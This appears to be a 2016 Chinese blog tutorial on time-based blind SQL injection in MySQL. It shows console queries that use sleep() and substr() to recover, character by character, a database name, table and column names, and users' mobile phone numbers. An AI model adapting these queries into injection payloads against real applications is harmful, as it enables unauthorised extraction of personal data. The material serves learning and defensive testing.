mysql基于“时间”的盲注

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mysql基于时间的盲注
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*	猜解库名
	-	下面是猜解正确
	mysql> select sleep(1) from (select database() a_database)a where substr(a_database,1,1)=char(0x66);                                                                             
		+----------+
		| sleep(1) |
		+----------+
		|        0 |
		+----------+
		1 row in set (1.00 sec)

	-	下面是猜解错误
	mysql> select sleep(1) from (select database() a_database)a where substr(a_database,1,1)=char(0x67);
		Empty set (0.00 sec)


*	猜解表名
	-	mysql> select sleep(1) from (select distinct table_name as a_tn from information_schema.tables where table_schema='fangjiangjun' limit 0,1)a  where substr(a_tn, 1, 1)='f';
			+----------+
			| sleep(1) |
			+----------+
			|        0 |
			+----------+
			1 row in set (1.00 sec)

	-	mysql> select sleep(1) from (select distinct table_name as a_tn from information_schema.tables where table_schema='fangjiangjun' limit 0,1)a  where substr(a_tn, 1, 1)='x';
			Empty set (0.00 sec)


*	猜解字段名
	-	mysql> select sleep(1) from (select distinct column_name as a_cn from information_schema.columns where table_schema='fangjiangjun' and table_name='f_user' limit 0,1)a  where substr(a_cn, 1, 1)='i';
			+----------+
			| sleep(1) |
			+----------+
			|        0 |
			+----------+
			1 row in set (1.01 sec)

	-	mysql> select sleep(1) from (select distinct column_name as a_cn from information_schema.columns where table_schema='fangjiangjun' and table_name='f_user' limit 0,1)a  where substr(a_cn, 2, 1)='d';
			+----------+
			| sleep(1) |
			+----------+
			|        0 |
			+----------+
			1 row in set (1.00 sec)


*	猜解字段值
	-	mysql> select sleep(1) from (select convert(mobile_phone,char) as a_mp from fangjiangjun.f_user order by id limit 0,1)a where substr(a_mp,1,1)='1';
			+----------+
			| sleep(1) |
			+----------+
			|        0 |
			+----------+
			1 row in set (1.00 sec)

	-	mysql> select sleep(1) from (select convert(mobile_phone,char) as a_mp from fangjiangjun.f_user order by id limit 0,1)a where substr(a_mp,2,1)='3';
			

	-	mysql> select sleep(1) from (select convert(mobile_phone,char) as a_mp from fangjiangjun.f_user order by id limit 0,1)a where substr(a_mp,2,1)='8';
			+----------+
			| sleep(1) |
			+----------+
			|        0 |
			+----------+
			1 row in set (1.00 sec)

  

posted @ 2016-09-06 11:05  6ruce  阅读(1680)  评论(0编辑  收藏  举报